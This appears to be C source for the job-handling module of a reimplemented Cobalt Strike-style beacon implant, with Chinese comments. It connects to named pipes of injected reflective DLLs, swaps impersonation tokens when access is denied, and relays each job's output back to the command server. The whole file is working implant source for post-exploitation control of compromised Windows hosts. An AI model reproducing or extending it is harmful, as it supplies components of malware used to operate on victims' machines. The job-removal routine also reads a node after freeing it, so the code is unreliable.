#include "BeaconJob.h" #include "ChildBeacon.h" int g_job_Number; BeaconJob* gBeaconJob; BOOL ConnectPipe(int dwFlagsAndAttributes, HANDLE* hNamedPipe, LPCSTR lpNamedPipeName) { HANDLE i; DWORD Mode; dwFlagsAndAttributes = dwFlagsAndAttributes | 0x100000; for (i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes | 0x100000, 0); ; i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes, 0)) { *hNamedPipe = i; if (i != (HANDLE)-1) { break; } if (GetLastError() != 231) { return 0; } if (!WaitNamedPipeA(lpNamedPipeName, 0x2710)) { SetLastError(0x102); return 0; } } Mode = 0; if (SetNamedPipeHandleState(*hNamedPipe, &Mode, 0, 0)) { return 1; } DisconnectNamedPipe(*hNamedPipe); CloseHandle(*hNamedPipe); return 0; } //************************************ // Method: ConnectJobPipe // FullName: ConnectJobPipe // Access: public // Returns: BOOL // Qualifier:连接到反射dll创建的命名管道 // Parameter: HANDLE * hNamedPipe // Parameter: int dwFlagsAndAttributes // Parameter: CHAR * NamedPipeName //************************************ BOOL ConnectJobPipe(HANDLE* hNamedPipe, int dwFlagsAndAttributes, CHAR* NamedPipeName) { if (dwFlagsAndAttributes) { return ConnectPipe(dwFlagsAndAttributes, hNamedPipe, NamedPipeName); } BOOL ret = ConnectPipe(0, hNamedPipe, NamedPipeName); if (!ret && GetLastError() == 5) { close_token_fake(); ret = ConnectPipe(0, hNamedPipe, NamedPipeName); restore_token_fake(); } return ret; } void CheckTimeout(HANDLE hNamedPipe, int timeout) { DWORD TotalBytesAvail = 0; int time = timeout + GetTickCount(); while (GetTickCount() < time && PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0) && !TotalBytesAvail) { Sleep(500); } } void Add_Beacon_Job(BeaconJob* pBeaconJob) { pBeaconJob->JobNumber = g_job_Number; ++g_job_Number; BeaconJob* pgBeaconJob = gBeaconJob; BeaconJob* temp; if (pgBeaconJob) { do { temp = pgBeaconJob; pgBeaconJob = pgBeaconJob->Linked; } while (pgBeaconJob); temp->Linked = pBeaconJob; } else { gBeaconJob = pBeaconJob; } } void Add_BeaconInternal_Job(HANDLE hNamedPipe, int job_process_pid, int job_type, char* job_name, int lasting) { BeaconJob* psshBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob)); psshBeaconJob->hWritePipe = (HANDLE)-1; psshBeaconJob->Linked = 0; psshBeaconJob->hReadPipe = hNamedPipe; psshBeaconJob->state = 1; psshBeaconJob->kill = 0; psshBeaconJob->JobProcessPid = job_process_pid; psshBeaconJob->JobType = job_type; psshBeaconJob->lasting = lasting; strncpy(psshBeaconJob->JobName, job_name, JobNameMAX); Add_Beacon_Job(psshBeaconJob); } void BeaconBackstageJob(int FlagsAndAttributes, char* Taskdata, int Task_size, int lasting) { char job_name[64] = { 0 }; CHAR NamedPipeName[64] = { 0 }; HANDLE hNamedPipe; datap pdatap; BeaconDataParse(&pdatap, Taskdata, Task_size); int job_process_pid = BeaconDataInt(&pdatap); int job_type = BeaconDataShort(&pdatap); int timeout = BeaconDataShort(&pdatap); if (BeaconDataCopyToBuffer(&pdatap, NamedPipeName, 64) && BeaconDataCopyToBuffer(&pdatap, job_name, 64)) { int dwFlagsAndAttributes = FlagsAndAttributes != 0 ? 0x20000 : 0; int number = 0; //连接到job任务的命名管道 while (!ConnectJobPipe(&hNamedPipe, dwFlagsAndAttributes, NamedPipeName)) { Sleep(500); if (++number >= 20) { BeaconErrorD(20, GetLastError()); return; } } if (timeout) { CheckTimeout(hNamedPipe, timeout); } Add_BeaconInternal_Job(hNamedPipe, job_process_pid, job_type, job_name, lasting); } } /// /// Beacon list jobs /// void beacon_jobs() { BeaconJob* pBeaconJob = gBeaconJob; formatp pformatp; BeaconFormatAlloc(&pformatp, 0x8000); while (pBeaconJob) { BeaconFormatPrintf(&pformatp, (char*)"%d\t%d\t%s\n", pBeaconJob->JobNumber, pBeaconJob->JobProcessPid, pBeaconJob->JobName); pBeaconJob = pBeaconJob->Linked; } int length = BeaconFormatlength(&pformatp); char* buffer = BeaconFormatOriginalPtr(&pformatp); BeaconTaskOutput(buffer, length, 0x14); BeaconFormatFree(&pformatp); } /// /// 对beacon jos进行清理,删除停止状态的任务 /// void del_beacon_job() { BeaconJob* pgBeaconJob = gBeaconJob; if (pgBeaconJob) { do { if (pgBeaconJob->kill == 1) { if (pgBeaconJob->state) { if (pgBeaconJob->state == 1) { DisconnectNamedPipe(pgBeaconJob->hReadPipe); CloseHandle(pgBeaconJob->hReadPipe); } } else { CloseHandle(pgBeaconJob->pHandle); CloseHandle(pgBeaconJob->hThread); CloseHandle(pgBeaconJob->hReadPipe); CloseHandle(pgBeaconJob->hWritePipe); } } pgBeaconJob = pgBeaconJob->Linked; } while (pgBeaconJob); } pgBeaconJob = gBeaconJob; BeaconJob* temp = 0; while (pgBeaconJob) { if (pgBeaconJob->kill == 1) { if (temp) { temp->Linked = pgBeaconJob->Linked; free(pgBeaconJob); pgBeaconJob = pgBeaconJob->Linked; } else { gBeaconJob = pgBeaconJob->Linked; BeaconJob* temp1 = gBeaconJob; free(pgBeaconJob); pgBeaconJob = temp1; } } else { temp = pgBeaconJob; pgBeaconJob = pgBeaconJob->Linked; } } } void beacon_JobKill(char* Taskdata, int Task_size) { BeaconJob* pBeaconJob = gBeaconJob; datap pdatap; BeaconDataParse(&pdatap, Taskdata, Task_size); int jobid = BeaconDataShort(&pdatap); while (pBeaconJob) { if (pBeaconJob->JobNumber == jobid) { pBeaconJob->kill = 1; } pBeaconJob = pBeaconJob->Linked; } del_beacon_job(); } BeaconJob* Add_Beacon_0Job(HANDLE hProcess,HANDLE hThread,int dwProcessId,int dwThreadId,HANDLE hReadPipe,HANDLE hWritePipe,const char* jobname) { BeaconJob* pBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob)); pBeaconJob->pHandle = hProcess; pBeaconJob->hThread = hThread; pBeaconJob->dwProcessId = dwProcessId; pBeaconJob->dwThreadId = dwThreadId; pBeaconJob->Linked = 0; pBeaconJob->hReadPipe = hReadPipe; pBeaconJob->hWritePipe = hWritePipe; pBeaconJob->state = 0; pBeaconJob->kill = 0; pBeaconJob->JobType = 0; pBeaconJob->JobProcessPid = dwProcessId; pBeaconJob->lasting = 0; _snprintf(pBeaconJob->JobName, 0x40u, "%s", jobname); Add_Beacon_Job(pBeaconJob); return pBeaconJob; } int ReadPipeData(HANDLE hNamedPipe, char* buffer) { DWORD TotalBytesAvail; if (!PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0)) { return -1; } if (!TotalBytesAvail) { return 0; } int size; if (RecvSmbData(hNamedPipe,(char*)&size, 4) == 4 && size <= 0x80000) { return RecvSmbData(hNamedPipe, buffer, size); } return -1; } DWORD sub_10005837(HANDLE hNamedPipe, char* lpBuffer) { DWORD NumberOfBytesRead = 0; DWORD TotalBytesAvail; int size=0; while (1) { if (!PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0)) { return -1; } if (!TotalBytesAvail || size >= 0x80000) { break; } ReadFile(hNamedPipe, lpBuffer, 0x80000 - size, &NumberOfBytesRead, 0); size += NumberOfBytesRead; lpBuffer += NumberOfBytesRead; } return NumberOfBytesRead; } //************************************ // Method: CheckJobOutput // FullName: CheckJobOutput // Access: public // Returns: void // Qualifier:检查job任务命名管道是否有输出如果有则返回给server //************************************ void CheckJobOutput() { BeaconJob* pgBeaconJob = gBeaconJob; if (pgBeaconJob) { char* read_data = (char*)malloc(0x80000u); int read_size; do { HANDLE hReadPipe = pgBeaconJob->hReadPipe; if (pgBeaconJob->lasting == 1) { read_size = ReadPipeData(hReadPipe, read_data); } else { read_size = sub_10005837(hReadPipe, read_data); } if (read_size > 0) { BeaconTaskOutput(read_data, read_size, pgBeaconJob->JobType); } if (pgBeaconJob->state == 1 && read_size == -1 || !pgBeaconJob->state && WaitForSingleObject(pgBeaconJob->pHandle, 0) != 0x102) { pgBeaconJob->kill = 1; } if (pgBeaconJob->lasting != 1 || read_size <= 0) { pgBeaconJob = pgBeaconJob->Linked; } } while (pgBeaconJob); memset(read_data, 0, 0x80000); free(read_data); del_beacon_job(); } }